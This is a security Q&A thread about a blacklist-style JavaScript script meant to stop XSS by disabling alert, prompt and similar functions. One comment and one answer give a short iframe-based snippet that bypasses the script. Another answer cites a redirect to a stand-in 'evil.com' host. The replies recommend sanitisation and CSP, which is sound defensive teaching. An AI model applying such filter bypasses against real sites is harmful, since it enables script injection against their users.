1

I am working on a XSS prevention via Javascript. I am using the following JS-Code for that:

(function () {
/*  
XSS prevention via JavaScript 
*/
var XSSObject = new Object();
XSSObject.lockdown = function (obj, name) {
    if (!String.prototype.startsWith) {
        try { 
            if (Object.defineProperty) {
                Object.defineProperty(obj, name, {
                    configurable: false
                });
            }
        } catch (e) { };
    }
}
XSSObject.proxy = function (obj, name, report_function_name, exec_original) {
    var proxy = obj[name];
    obj[name] = function () {
        if (exec_original) {
            return proxy.apply(this, arguments);
        }
    };
    XSSObject.lockdown(obj, name);
};
XSSObject.proxy(window, 'alert', 'window.alert', false);
XSSObject.proxy(window, 'confirm', 'window.confirm', false);
XSSObject.proxy(window, 'prompt', 'window.prompt', false);
XSSObject.proxy(window, 'unescape', 'unescape', false);
XSSObject.proxy(document, 'write', 'document.write', false);
XSSObject.proxy(String, 'fromCharCode', 'String.fromCharCode', true);
})();

Using that script, it is not possible to execute the functions alert, confirm, prompt, unescape, write and fromCharCode. Is there a way to bypass this prevention? If so, how and why?

Steffen Ullrich
  • 184,332
  • 29
  • 363
  • 424
hm1912
  • 121
  • 4
  • 5
    What kind of code is this meant to stop? Surely XSS can do quite a bit without those functions. In any case, it's not very robust: `var iframe = document.createElement('iframe'); iframe.srcdoc = ''; document.body.appendChild(iframe); iframe.contentWindow.alert.call(window, 'hello');` – Alexander O'Mara Jun 24 '18 at 20:41
  • Sandboxing by blacklisting is kinda failed project since the beginning, JS is just too dynamic in nature. Google Chrome can't block pop-unders, you wouldn't be able to tackle XSS. – Andrew Morozko Jun 24 '18 at 21:07
  • Probably the best thing to do would be to sanitize user input to remove special characters that are required to execute xss, like `<>/\'` etc. Since JS is dynamic by nature it would be extremely difficult to cover all bases by blacklisting. Also, I haven't attempted this but you might be able to bypass by hex-encoding input, this blog is quite helpful for this specific thing: https://alihassanpenetrationtester.blogspot.com/2013/01/bypassing-xss-filters-advanced-xss.html – Connor J Jun 25 '18 at 09:10
  • Even if JS was not dynamic, you cannot make blacklisting safe: language will evolve, and upcoming features won't be on your blacklist while being potentially "insecure" in your use case – Xenos Jul 26 '18 at 11:50

2 Answers2

1

Yes, there are ways to bypass this security measure. As pointed out in a comment:

var iframe = document.createElement('iframe');
iframe.srcdoc = '';
document.body.appendChild(iframe);
iframe.contentWindow.alert.call(window, 'hello');

The problem is that successfully blacklisting individual functions in such a complex language is an exercise in futility. Trying to prevent real-world attacks by blacklisting is downright quixotic.

forest
  • 64,616
  • 20
  • 206
  • 257
0

Some of the functions that you have mentioned, alert, confirm, prompt, are often only used by people who want to prove that there's an XSS by making a PoC.

There's countless other ways to trigger XSS depending on injection point and type of payload, such as using location.href='https://evil.com to load a script from another site, without alerting the victim of any suspicious behavior.

The correct way to minimize XSS as much as possible is to sanitize user input and implement a strict CSP policy. Refer to the OWASP XSS Prevention Cheat Sheet for a non-exhaustible list of measures you can take.

isopach
  • 491
  • 1
  • 3
  • 14
  • I don't get why this got downvoted because. It doesn't indeed shows how to bypass the OP's restrictions, but it shows that you actually don't need to anyway – Xenos Jul 26 '18 at 11:51